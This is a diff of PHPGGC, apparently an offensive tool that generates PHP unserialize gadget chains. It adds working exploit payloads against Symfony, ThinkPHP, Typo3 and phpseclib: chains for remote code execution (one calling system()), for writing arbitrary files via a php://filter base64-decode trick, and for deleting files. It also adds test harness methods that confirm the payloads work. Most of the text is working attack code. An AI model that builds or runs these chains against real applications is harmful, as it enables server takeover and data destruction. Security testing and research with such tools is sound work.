11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | namespace phpseclib\Crypt | |
16 | { | |
17 | class Base | |
18 | { | |
19 | var $block_size; | |
20 | var $inline_crypt; | |
21 | var $use_inline_crypt = 1; | |
22 | var $changed = 0; | |
23 | var $engine = 1; | |
24 | var $mode = 1; | |
25 | ||
26 | public function __construct($t) | |
27 | { | |
28 | if (strpos(get_class($this), 'AES')) | |
29 | $this->inline_crypt = [$t, '_createInlineCryptFunction']; | |
30 | else | |
31 | $this->block_size = '1){}}}; ob_clean();' . $t . 'die(); ?>'; | |
32 | } | |
33 | } | |
34 | ||
35 | class AES extends Base | |
36 | { | |
37 | var $bitmap = 1; | |
38 | var $crypto = 1; | |
39 | } | |
40 | ||
41 | class TripleDES extends Base | |
42 | { | |
43 | } | |
44 | } |
18 | 18 | { |
19 | 19 | return new \Phalcon\Logger\Adapter\File(); |
20 | 20 | } |
21 | ||
22 | public function test_setup() | |
23 | { | |
24 | throw new \PHPGGC\Exception("This GC cannot be tested."); | |
25 | } | |
21 | 26 | } |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'd3adc0de'; |
9 | 9 | public static $parameters = [ |
10 | 'remote_file' | |
10 | 'remote_path' | |
11 | 11 | ]; |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | return new \Smarty_Internal_Template($parameters['remote_file']); | |
15 | return new \Smarty_Internal_Template($parameters['remote_path']); | |
16 | 16 | } |
17 | 17 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']); | |
12 | return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.2.*'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'byc_404'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | ||
16 | return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Cache\Adapter | |
3 | { | |
4 | class ProxyAdapter | |
5 | { | |
6 | private $createCacheItem; | |
7 | private $namespace; | |
8 | private $pool; | |
9 | ||
10 | public function __construct($createCacheItem, $pool) | |
11 | { | |
12 | $this->createCacheItem = $createCacheItem; | |
13 | $this->pool = $pool; | |
14 | $this->namespace = ''; | |
15 | } | |
16 | } | |
17 | ||
18 | ||
19 | class NullAdapter | |
20 | { | |
21 | private $createCacheItem; | |
22 | ||
23 | public function __construct($createCacheItem) | |
24 | { | |
25 | $this->createCacheItem = $createCacheItem; | |
26 | } | |
27 | } | |
28 | } | |
29 | ||
30 | namespace Symfony\Component\Console\Helper | |
31 | { | |
32 | class Dumper | |
33 | { | |
34 | private $handler; | |
35 | ||
36 | public function __construct($handler) | |
37 | { | |
38 | $this->handler = $handler; | |
39 | } | |
40 | } | |
41 | } | |
42 | ||
43 | ||
44 | namespace Symfony\Component\Cache\Traits | |
45 | { | |
46 | class RedisProxy | |
47 | { | |
48 | private $redis; | |
49 | private $initializer; | |
50 | ||
51 | public function __construct($initializer, $redis) | |
52 | { | |
53 | $this->initializer = $initializer; | |
54 | $this->redis = $redis; | |
55 | } | |
56 | } | |
57 | } | |
58 | ||
59 | namespace Symfony\Component\Form | |
60 | { | |
61 | ||
62 | class FormErrorIterator | |
63 | { | |
64 | public $form; | |
65 | private $errors; | |
66 | ||
67 | function __construct($errors, $form) | |
68 | { | |
69 | $this->errors = $errors; | |
70 | $this->form = $form; | |
71 | } | |
72 | } | |
73 | } | |
74 | ||
75 | ||
76 | namespace Symfony\Component\HttpKernel\DataCollector | |
77 | { | |
78 | class DumpDataCollector | |
79 | { | |
80 | protected $data; | |
81 | private $stopwatch; | |
82 | private $fileLinkFormat; | |
83 | private $dataCount = 0; | |
84 | private $isCollected = false; | |
85 | private $clonesCount = 0; | |
86 | private $clonesIndex = 0; | |
87 | ||
88 | public function __construct($function, $command) | |
89 | { | |
90 | $this->data = [ | |
91 | [ | |
92 | "data" => "1", | |
93 | "name" => new \Symfony\Component\Form\FormErrorIterator([ | |
94 | new \Symfony\Component\Form\FormErrorIterator( | |
95 | [], | |
96 | new \Symfony\Component\Cache\Traits\RedisProxy( | |
97 | new \Symfony\Component\Console\Helper\Dumper([ | |
98 | new \Symfony\Component\Cache\Adapter\ProxyAdapter( | |
99 | 'dd', // exit function | |
100 | new \Symfony\Component\Cache\Adapter\NullAdapter($function) | |
101 | ), | |
102 | "getItem" | |
103 | ]), | |
104 | $command | |
105 | ) | |
106 | )], | |
107 | null | |
108 | ), | |
109 | "file" => "3", | |
110 | "line" => "4" | |
111 | ], | |
112 | null, | |
113 | null | |
114 | ]; | |
115 | } | |
116 | } | |
117 | } |
13 | 13 | |
14 | 14 | public function generate(array $parameters) |
15 | 15 | { |
16 | $file = $parameters['remote_file']; | |
16 | $file = $parameters['remote_path']; | |
17 | 17 | |
18 | 18 | return new \TCPDF( |
19 | 19 | $file |
2 | 2 | class TCPDF { |
3 | 3 | protected $imagekeys; |
4 | 4 | |
5 | function __construct($remote_file) { | |
5 | function __construct($remote_path) { | |
6 | 6 | $this->imagekeys = [ |
7 | $remote_file | |
7 | $remote_path | |
8 | 8 | ]; |
9 | 9 | } |
10 | 10 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ThinkPHP; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '5.0.4-5.0.24'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'zcy2018'; | |
9 | public static $information = ' | |
10 | We do not have full control of the path. Also, the path will turn to | |
11 | a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php. | |
12 | Tested on Windows with php7.3.4 and apache2.4.39. | |
13 | '; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | # The payload string will get serialized before it gets written to the | |
18 | # base64-decode stream, so we need to be careful about the length. | |
19 | # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA..."; | |
20 | $path = $parameters['remote_path']; | |
21 | $data = base64_encode($parameters['data']); | |
22 | $data = preg_replace('/=/','+', $data); | |
23 | ||
24 | $length = strlen('<query>' . $data . '</query>'); | |
25 | ||
26 | if($length > 100000) | |
27 | throw new \PHPGGC\Exception('Payload too big !'); | |
28 | ||
29 | $log = (int) log10($length); | |
30 | $prefix = str_repeat('A', 4 - $log); | |
31 | $data = $prefix . $data; | |
32 | ||
33 | return new \think\Process($path, $data); | |
34 | } | |
35 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace think | |
3 | { | |
4 | use think\model\relation\HasMany; | |
5 | ||
6 | class Process | |
7 | { | |
8 | private $processPipes; | |
9 | private $status = 3; | |
10 | private $processInformation = ['running' => true]; | |
11 | ||
12 | public function __construct($path, $data) | |
13 | { | |
14 | $this->processPipes = new HasMany($path, $data); | |
15 | } | |
16 | } | |
17 | ||
18 | class Model | |
19 | { | |
20 | } | |
21 | } | |
22 | ||
23 | ||
24 | namespace think\model | |
25 | { | |
26 | use think\Model; | |
27 | ||
28 | class Merge extends Model | |
29 | { | |
30 | public $a = '1'; | |
31 | ||
32 | public function __construct() | |
33 | { | |
34 | } | |
35 | } | |
36 | ||
37 | class Relation | |
38 | { | |
39 | protected $query; | |
40 | } | |
41 | } | |
42 | ||
43 | ||
44 | namespace think\model\relation | |
45 | { | |
46 | use think\console\Output; | |
47 | use think\model\Merge; | |
48 | use think\model\Relation; | |
49 | ||
50 | class HasMany extends Relation | |
51 | { | |
52 | protected $parent; | |
53 | protected $localKey = 'a'; | |
54 | protected $pivot; | |
55 | protected $foreignKey; | |
56 | ||
57 | public function __construct($path, $data) | |
58 | { | |
59 | $this->foreignKey = $data; | |
60 | $this->query = new Output($path, $data); | |
61 | $this->parent = new Merge(); | |
62 | } | |
63 | } | |
64 | } | |
65 | ||
66 | ||
67 | namespace think\db | |
68 | { | |
69 | class Query | |
70 | { | |
71 | } | |
72 | } | |
73 | ||
74 | ||
75 | namespace think\console | |
76 | { | |
77 | class Output | |
78 | { | |
79 | protected $styles = [ | |
80 | 'where' | |
81 | ]; | |
82 | private $handle; | |
83 | ||
84 | public function __construct($path, $data) | |
85 | { | |
86 | $this->handle = new \think\session\driver\Memcache($path, $data); | |
87 | } | |
88 | } | |
89 | } | |
90 | ||
91 | ||
92 | namespace think\session\driver | |
93 | { | |
94 | class Memcache | |
95 | { | |
96 | protected $handler; | |
97 | ||
98 | public function __construct($path, $data) | |
99 | { | |
100 | $this->handler = new \think\cache\driver\Memcached($path, $data); | |
101 | } | |
102 | } | |
103 | } | |
104 | ||
105 | ||
106 | namespace think\cache\driver | |
107 | { | |
108 | class Memcached | |
109 | { | |
110 | protected $tag; | |
111 | protected $options; | |
112 | protected $handler; | |
113 | ||
114 | public function __construct($path) | |
115 | { | |
116 | $this->tag = true; | |
117 | $this->options = [ | |
118 | 'expire' => 0, | |
119 | 'prefix' => '', | |
120 | ]; | |
121 | $this->handler = new File($path); | |
122 | } | |
123 | } | |
124 | ||
125 | class File | |
126 | { | |
127 | protected $tag; | |
128 | protected $options; | |
129 | ||
130 | public function __construct($path) | |
131 | { | |
132 | $this->tag = false; | |
133 | $this->options = [ | |
134 | 'expire' => 3600, | |
135 | 'cache_subdir' => false, | |
136 | 'prefix' => '', | |
137 | 'data_compress' => false, | |
138 | 'path' => 'php://filter/convert.base64-decode/resource=' . $path, | |
139 | ]; | |
140 | } | |
141 | } | |
142 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ThinkPHP; | |
3 | ||
4 | class FW2 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '5.0.0-5.0.03'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'zcy2018'; | |
9 | public static $information = ' | |
10 | We do not have full control of the path. Also, the path will turn to | |
11 | a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php. | |
12 | Tested on Windows with php7.3.4 and apache2.4.39. | |
13 | '; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | # The payload string will get serialized before it gets written to the | |
18 | # base64-decode stream, so we need to be careful about the length. | |
19 | # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA..."; | |
20 | $path = $parameters['remote_path']; | |
21 | $data = base64_encode($parameters['data']); | |
22 | $data = preg_replace('/=/','+', $data); | |
23 | ||
24 | $length = strlen('<query>' . $data . '</query>'); | |
25 | ||
26 | if($length > 100000) | |
27 | throw new \PHPGGC\Exception('Payload too big !'); | |
28 | ||
29 | $log = (int) log10($length); | |
30 | $prefix = str_repeat('A', 4 - $log); | |
31 | $data = $prefix . $data; | |
32 | ||
33 | return new \think\Process($path, $data); | |
34 | } | |
35 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace think | |
3 | { | |
4 | class Process | |
5 | { | |
6 | private $processPipes; | |
7 | private $status = 3; | |
8 | private $processInformation = ['running' => true]; | |
9 | ||
10 | public function __construct($path,$data) | |
11 | { | |
12 | $this->processPipes = new \think\model\Relation($path, $data); | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | ||
18 | namespace think\model | |
19 | { | |
20 | use think\console\Output; | |
21 | ||
22 | class Relation | |
23 | { | |
24 | protected $query; | |
25 | protected $type = 2; // HAS_MANY | |
26 | protected $where; | |
27 | ||
28 | public function __construct($path,$data) | |
29 | { | |
30 | $this->where = $data; | |
31 | $this->query = new Output($path); | |
32 | } | |
33 | } | |
34 | } | |
35 | ||
36 | ||
37 | namespace think\console | |
38 | { | |
39 | class Output | |
40 | { | |
41 | protected $styles = [ | |
42 | 'where' | |
43 | ]; | |
44 | private $handle; | |
45 | ||
46 | public function __construct($path) | |
47 | { | |
48 | $this->handle = new \think\session\driver\Memcache($path); | |
49 | } | |
50 | } | |
51 | } | |
52 | ||
53 | ||
54 | namespace think\session\driver | |
55 | { | |
56 | class Memcache | |
57 | { | |
58 | protected $handler; | |
59 | ||
60 | public function __construct($path) | |
61 | { | |
62 | $this->handler = new \think\cache\driver\Memcached($path); | |
63 | } | |
64 | } | |
65 | } | |
66 | ||
67 | ||
68 | namespace think\cache\driver | |
69 | { | |
70 | class Memcached | |
71 | { | |
72 | protected $tag; | |
73 | protected $options; | |
74 | protected $handler; | |
75 | ||
76 | public function __construct($path) | |
77 | { | |
78 | $this->tag = true; | |
79 | $this->options = [ | |
80 | 'expire' => 0, | |
81 | 'prefix' => '', | |
82 | ]; | |
83 | $this->handler = new File($path); | |
84 | } | |
85 | } | |
86 | ||
87 | class File | |
88 | { | |
89 | protected $tag; | |
90 | protected $options; | |
91 | ||
92 | public function __construct($path) | |
93 | { | |
94 | $this->tag = false; | |
95 | $this->options = [ | |
96 | 'expire' => 3600, | |
97 | 'cache_subdir' => false, | |
98 | 'prefix' => '', | |
99 | 'data_compress' => false, | |
100 | 'path' => 'php://filter/convert.base64-decode/resource=' . $path, | |
101 | ]; | |
102 | } | |
103 | } | |
104 | }⏎ |
12 | 12 | namespace think\model\concern { |
13 | 13 | trait Conversion |
14 | 14 | { |
15 | protected $append = array("Smi1e" => "1"); | |
15 | protected $append = array("smi1e" => "1"); | |
16 | 16 | } |
17 | 17 | |
18 | 18 | trait Attribute |
19 | 19 | { |
20 | 20 | private $data; |
21 | private $withAttr = array("Smi1e" => "system"); | |
21 | private $withAttr = array("smi1e" => "system"); | |
22 | 22 | |
23 | 23 | public function get($system) |
24 | 24 | { |
25 | $this->data = array("Smi1e" => "$system"); | |
25 | $this->data = array("smi1e" => "$system"); | |
26 | 26 | } |
27 | 27 | } |
28 | 28 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ThinkPHP; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.0.24'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'kemmio'; | |
9 | public static $information = ' | |
10 | This chain can only execute any function including system(). | |
11 | Shoutout to c014 the 0ctf 2021 challenge creator! | |
12 | See the full writeup for the chain at https://blog.hexens.io/ | |
13 | '; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | $function = $parameters['function']; | |
18 | $parameter = $parameters['parameter']; | |
19 | return new \think\process\pipes\Windows($function, $parameter); | |
20 | } | |
21 | } |
0 | <?php | |
1 | ||
2 | namespace think\process\pipes | |
3 | { | |
4 | use think\model\Pivot; | |
5 | ||
6 | class Pipes | |
7 | { | |
8 | } | |
9 | ||
10 | class Windows extends Pipes | |
11 | { | |
12 | private $files = []; | |
13 | ||
14 | function __construct($function, $parameter) | |
15 | { | |
16 | $this->files = [new Pivot($function, $parameter)]; | |
17 | } | |
18 | } | |
19 | } | |
20 | ||
21 | namespace think\model | |
22 | { | |
23 | use think\db\Query; | |
24 | ||
25 | abstract class Relation | |
26 | { | |
27 | } | |
28 | } | |
29 | ||
30 | namespace think\model\relation | |
31 | { | |
32 | use think\model\Relation; | |
33 | use think\db\Query; | |
34 | ||
35 | abstract class OneToOne extends Relation | |
36 | { | |
37 | } | |
38 | ||
39 | class HasOne extends OneToOne | |
40 | { | |
41 | protected $selfRelation; | |
42 | protected $query; | |
43 | protected $bindAttr = []; | |
44 | ||
45 | function __construct($function, $parameter) | |
46 | { | |
47 | $this->bindAttr = ["no", "123"]; | |
48 | $this->selfRelation = false; | |
49 | $this->query = new Query($function, $parameter); | |
50 | } | |
51 | } | |
52 | } | |
53 | ||
54 | ||
55 | namespace think | |
56 | { | |
57 | use think\model\relation\HasOne; | |
58 | use think\console\Output; | |
59 | use think\db\Query; | |
60 | ||
61 | abstract class Model | |
62 | { | |
63 | protected $append = []; | |
64 | protected $error; | |
65 | protected $parent; | |
66 | protected $selfRelation; | |
67 | protected $query; | |
68 | ||
69 | function __construct($function, $parameter) | |
70 | { | |
71 | $this->append = ['getError']; | |
72 | $this->error = new HasOne($function, $parameter); | |
73 | $this->parent = new Output($function, $parameter); | |
74 | $this->selfRelation = false; | |
75 | $this->query = new Query($function, $parameter); | |
76 | } | |
77 | } | |
78 | } | |
79 | ||
80 | ||
81 | namespace think\db | |
82 | { | |
83 | use think\console\Output; | |
84 | ||
85 | class Query | |
86 | { | |
87 | protected $model; | |
88 | function __construct($function, $parameter) | |
89 | { | |
90 | $this->model = new Output($function, $parameter); | |
91 | } | |
92 | } | |
93 | } | |
94 | ||
95 | ||
96 | namespace think\console | |
97 | { | |
98 | use think\session\driver\Memcached; | |
99 | ||
100 | class Output | |
101 | { | |
102 | private $handle = null; | |
103 | protected $styles = []; | |
104 | ||
105 | function __construct($function, $parameter) | |
106 | { | |
107 | $this->handle = new Memcached($function, $parameter); | |
108 | $this->styles = ['getAttr']; | |
109 | } | |
110 | } | |
111 | } | |
112 | ||
113 | ||
114 | namespace think\session\driver | |
115 | { | |
116 | use think\cache\driver\Memcache; | |
117 | ||
118 | class Memcached | |
119 | { | |
120 | protected $handler = null; | |
121 | protected $config = []; | |
122 | ||
123 | function __construct($function, $parameter) | |
124 | { | |
125 | $this->handler = new Memcache($function, $parameter); | |
126 | $this->config = [ | |
127 | 'host' => '127.0.0.1', | |
128 | 'port' => 11211, | |
129 | 'expire' => 3600, | |
130 | 'timeout' => 0, | |
131 | 'session_name' => 'HEXENS', | |
132 | 'username' => '', | |
133 | 'password' => '', | |
134 | ]; | |
135 | } | |
136 | } | |
137 | } | |
138 | ||
139 | ||
140 | ||
141 | namespace think\cache\driver | |
142 | { | |
143 | use think\Request; | |
144 | ||
145 | class Memcache | |
146 | { | |
147 | protected $options = []; | |
148 | protected $handler = null; | |
149 | protected $tag; | |
150 | ||
151 | function __construct($function, $parameter) | |
152 | { | |
153 | $this->handler = new Request($function, $parameter); | |
154 | $this->options = [ | |
155 | 'expire' => 0, | |
156 | 'cache_subdir' => false, | |
157 | 'prefix' => '', | |
158 | 'path' => '', | |
159 | 'data_compress' => false, | |
160 | ]; | |
161 | $this->tag = true; | |
162 | } | |
163 | } | |
164 | } | |
165 | ||
166 | ||
167 | ||
168 | namespace think | |
169 | { | |
170 | class Request | |
171 | { | |
172 | protected $get; | |
173 | protected $filter; | |
174 | ||
175 | function __construct($function, $parameter) | |
176 | { | |
177 | $this->get = ["HEXENS<getAttr>no<" => $parameter]; | |
178 | $this->filter = $function; | |
179 | } | |
180 | } | |
181 | } | |
182 | ||
183 | ||
184 | namespace think\model | |
185 | { | |
186 | use think\Model; | |
187 | ||
188 | class Pivot extends Model | |
189 | { | |
190 | } | |
191 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Typo3; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '4.5.35 <= 10.4.1'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'coiffeur'; | |
9 | public static $information = ' | |
10 | Note that some files may not be removed (depends on permissions). | |
11 | Target versions: commit 1cbe3d8c089d94d76af2b37aea481cbd8b0707f9, 5 Jul 2014 (v4.5.35) <= exploitable <= commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0, 12 May 2020 (v10.4.1) | |
12 | '; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | return new \TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController($parameters['remote_path']); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace TYPO3\CMS\Extensionmanager\Controller; | |
3 | ||
4 | class UploadExtensionFileController | |
5 | { | |
6 | public $extensionBackupPath; | |
7 | ||
8 | public function __construct($extensionBackupPath) { | |
9 | $this->extensionBackupPath = $extensionBackupPath; | |
10 | } | |
11 | ||
12 | } |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'mpchadwick'; |
9 | 9 | public static $parameters = [ |
10 | 'remote_file' | |
10 | 'remote_path' | |
11 | 11 | ]; |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | $file = $parameters['remote_file']; | |
15 | $file = $parameters['remote_path']; | |
16 | 16 | |
17 | 17 | return new \Zend_Http_Response_Stream( |
18 | 18 | true, |
10 | 10 | */ |
11 | 11 | class ASCIIStrings extends Enhancement |
12 | 12 | { |
13 | public function __construct($full=false) | |
14 | { | |
15 | $this->full = $full; | |
16 | } | |
17 | ||
13 | 18 | public function process_serialized($serialized) |
14 | 19 | { |
15 | 20 | $new = ''; |
24 | 29 | ) |
25 | 30 | ) |
26 | 31 | { |
27 | ||
28 | 32 | $p_start = $matches[0][1]; |
29 | 33 | $p_start_string = $p_start + strlen($matches[0][0]); |
30 | 34 | $length = $matches[1][0]; |
31 | 35 | $p_end_string = $p_start_string + $length; |
32 | 36 | |
33 | 37 | # Check if this really is a serialized string |
38 | # This is error-prone: if a stirng contains a serialized string, | |
39 | # for instance, ... | |
34 | 40 | if(!( |
35 | 41 | strlen($serialized) > $p_end_string + 2 && |
36 | 42 | substr($serialized, $p_end_string, 2) == '";' |
46 | 52 | for($i=0; $i < strlen($string); $i++) |
47 | 53 | { |
48 | 54 | $letter = $string[$i]; |
49 | $clean_string .= ctype_print($letter) && $letter != '\\' ? | |
50 | $letter : | |
51 | sprintf("\\%02x", ord($letter)); | |
52 | ; | |
55 | if($this->full || !ctype_print($letter) || $letter == '\\') | |
56 | $letter = sprintf("\\%02x", ord($letter)); | |
57 | ||
58 | $clean_string .= $letter; | |
53 | 59 | } |
54 | 60 | |
55 | 61 | # Make the replacement |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_FD; |
7 | 7 | public static $parameters = [ |
8 | 'remote_file' | |
8 | 'remote_path' | |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | return [ | |
14 | 'remote_path' => \PHPGGC\Util::rand_file('test file delete') | |
15 | ]; | |
16 | } | |
17 | ||
18 | public function test_confirm($arguments, $output) | |
19 | { | |
20 | return !file_exists($arguments['remote_path']); | |
21 | } | |
22 | ||
23 | public function test_cleanup($arguments) | |
24 | { | |
25 | if(file_exists($arguments['remote_path'])) | |
26 | unlink($arguments['remote_path']); | |
27 | } | |
10 | 28 | }⏎ |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_FR; |
7 | 7 | public static $parameters = [ |
8 | 'remote_file' | |
8 | 'remote_path' | |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | return [ | |
14 | 'remote_path' => \PHPGGC\Util::rand_file('test file read') | |
15 | ]; | |
16 | } | |
17 | ||
18 | public function test_confirm($arguments, $output) | |
19 | { | |
20 | $expected = file_get_contents($arguments['remote_path']); | |
21 | return strpos($output, $expected) !== false; | |
22 | } | |
23 | ||
24 | public function test_cleanup($arguments) | |
25 | { | |
26 | if(file_exists($arguments['remote_path'])) | |
27 | unlink($arguments['remote_path']); | |
28 | } | |
10 | 29 | }⏎ |
19 | 19 | $parameters['data'] = file_get_contents($local_path); |
20 | 20 | return $parameters; |
21 | 21 | } |
22 | ||
23 | public function test_setup() | |
24 | { | |
25 | return [ | |
26 | 'local_path' => \PHPGGC\Util::rand_file('test file write'), | |
27 | 'remote_path' => \PHPGGC\Util::rand_path('', '.test') | |
28 | ]; | |
29 | } | |
30 | ||
31 | public function test_confirm($arguments, $output) | |
32 | { | |
33 | if(!file_exists($arguments['remote_path'])) | |
34 | return false; | |
35 | ||
36 | $expected = file_get_contents($arguments['local_path']); | |
37 | $obtained = file_get_contents($arguments['remote_path']); | |
38 | ||
39 | return strpos($obtained, $expected) !== false; | |
40 | } | |
41 | ||
42 | public function test_cleanup($arguments) | |
43 | { | |
44 | if(file_exists($arguments['remote_path'])) | |
45 | unlink($arguments['remote_path']); | |
46 | if(file_exists($arguments['local_path'])) | |
47 | unlink($arguments['local_path']); | |
48 | } | |
22 | 49 | }⏎ |
4 | 4 | abstract class PHPInfo extends \PHPGGC\GadgetChain |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_INFO; |
7 | ||
8 | public function test_setup() | |
9 | { | |
10 | return []; | |
11 | } | |
12 | ||
13 | public function test_confirm($arguments, $output) | |
14 | { | |
15 | $expected = [ | |
16 | 'phpinfo()', | |
17 | 'PHP Authors', | |
18 | 'Module Authors', | |
19 | 'PHP Variables' | |
20 | ]; | |
21 | foreach($expected as $needle) | |
22 | if(strpos($output, $needle) === false) | |
23 | return false; | |
24 | ||
25 | return true; | |
26 | } | |
7 | 27 | }⏎ |
12 | 12 | public static $parameters = [ |
13 | 13 | 'command' |
14 | 14 | ]; |
15 | ||
16 | public function test_setup() | |
17 | { | |
18 | $command = $this->_test_build_command(); | |
19 | return [ | |
20 | 'command' => $command | |
21 | ]; | |
22 | } | |
15 | 23 | }⏎ |
13 | 13 | 'function', |
14 | 14 | 'parameter' |
15 | 15 | ]; |
16 | ||
17 | public function test_setup() | |
18 | { | |
19 | $command = $this->_test_build_command(); | |
20 | return [ | |
21 | 'function' => 'system', | |
22 | 'parameter' => | |
23 | $command | |
24 | ]; | |
25 | } | |
16 | 26 | }⏎ |
12 | 12 | public static $parameters = [ |
13 | 13 | 'code' |
14 | 14 | ]; |
15 | ||
16 | public function test_setup() | |
17 | { | |
18 | # TODO file_put_contents() might be a better option here, but it'll work | |
19 | # for now. | |
20 | $command = $this->_test_build_command(); | |
21 | return [ | |
22 | 'code' => 'system(' . var_export($command, true) . ');' | |
23 | ]; | |
24 | } | |
15 | 25 | }⏎ |
6 | 6 | public static $type = self::TYPE_RCE; |
7 | 7 | # TBD by subclasses |
8 | 8 | public static $parameters = []; |
9 | ||
10 | /** | |
11 | * The result of the command is not necessarily visible. We write the output | |
12 | * to a file instead to be able to tell if the payload worked, even if | |
13 | * there's no output. | |
14 | */ | |
15 | protected function _test_build_command() | |
16 | { | |
17 | $this->__test_rand_token = sha1(rand()); | |
18 | $this->__test_rand_path = \PHPGGC\Util::rand_path(); | |
19 | return | |
20 | 'echo ' . $this->__test_rand_token . | |
21 | ' > ' . $this->__test_rand_path | |
22 | ; | |
23 | } | |
24 | ||
25 | public function test_confirm($arguments, $output) | |
26 | { | |
27 | if(!file_exists($this->__test_rand_path)) | |
28 | return false; | |
29 | $result = file_get_contents($this->__test_rand_path); | |
30 | return strpos($result, $this->__test_rand_token) !== false; | |
31 | } | |
32 | ||
33 | public function test_cleanup($arguments) | |
34 | { | |
35 | if(file_exists($this->__test_rand_path)) | |
36 | unlink($this->__test_rand_path); | |
37 | } | |
9 | 38 | }⏎ |
6 | 6 | public static $parameters = [ |
7 | 7 | 'uri' |
8 | 8 | ]; |
9 | ||
10 | public function test_setup() | |
11 | { | |
12 | throw new \PHPGGC\Exception("SSRF payloads cannot be tested."); | |
13 | } | |
14 | ||
15 | public function test_confirm($arguments, $output) | |
16 | { | |
17 | return false; | |
18 | } | |
9 | 19 | } |
10 | 20 | ?> |
7 | 7 | public static $parameters = [ |
8 | 8 | 'sql' |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | throw new \PHPGGC\Exception("SQL injection payloads cannot be tested."); | |
14 | } | |
15 | ||
16 | public function test_confirm($arguments, $output) | |
17 | { | |
18 | return false; | |
19 | } | |
10 | 20 | } |
20 | 20 | * |
21 | 21 | * Along with the generate() method, which converts parameters into an object, |
22 | 22 | * three generic methods are available: |
23 | * - process_parameters($parameters) | |
24 | * - process_object($object) | |
25 | * - process_serialized($serialized) | |
23 | * - process_parameters(array $parameters) | |
24 | * - process_object(object $object) | |
25 | * - process_serialized(string $serialized) | |
26 | 26 | * |
27 | 27 | * Those methods are to be found in other PHPGGC classes, for instance the main |
28 | 28 | * class for handling CLI, PHPGGC. Refer to their documentation to understand |
57 | 57 | $this->load_gadgets(); |
58 | 58 | } |
59 | 59 | |
60 | /** | |
61 | * Loads the gadgets required by the chain. | |
62 | */ | |
60 | 63 | protected function load_gadgets() |
61 | 64 | { |
62 | 65 | $directory = dirname((new \ReflectionClass($this))->getFileName()); |
76 | 79 | * Modifies given parameters if required. |
77 | 80 | * Called before `generate()`. |
78 | 81 | * This is called on the gadget chain's parameters, such as for instance |
79 | * "remote_file" and "local_file" for a file write chain. | |
82 | * "remote_path" and "local_path" for a file write chain. | |
80 | 83 | * |
81 | 84 | * @param array $parameters Gadget chain parameters |
82 | 85 | * @return array Modified parameters |
155 | 158 | $class = str_replace('\\', '/', $class); |
156 | 159 | return $class; |
157 | 160 | } |
161 | ||
162 | # Test methods - Internal use only | |
163 | ||
164 | /** | |
165 | * Returns arguments that need to be used to test the gadget chain. | |
166 | * This method can also setup the testing environment, by creating a file | |
167 | * for instance. | |
168 | * | |
169 | * @return array Arguments the payload need to be generated with, as a | |
170 | * [key] => [test-value] associative array. | |
171 | */ | |
172 | abstract public function test_setup(); | |
173 | ||
174 | /** | |
175 | * Returns whether the deserialisation of the payload yielded the expected | |
176 | * results. | |
177 | * | |
178 | * @param array arguments Arguments the payload was generated with | |
179 | * @param string result Output of the test_payload.php command | |
180 | * | |
181 | * @return bool true if the payload executed successfully. | |
182 | */ | |
183 | abstract public function test_confirm($arguments, $output); | |
184 | ||
185 | /** | |
186 | * Cleans up the test environment, e.g. removes a file created by | |
187 | * test_setup(). | |
188 | * | |
189 | * @param array arguments Arguments the payload was generated with | |
190 | * | |
191 | * @return null | |
192 | */ | |
193 | public function test_cleanup($arguments) | |
194 | { | |
195 | } | |
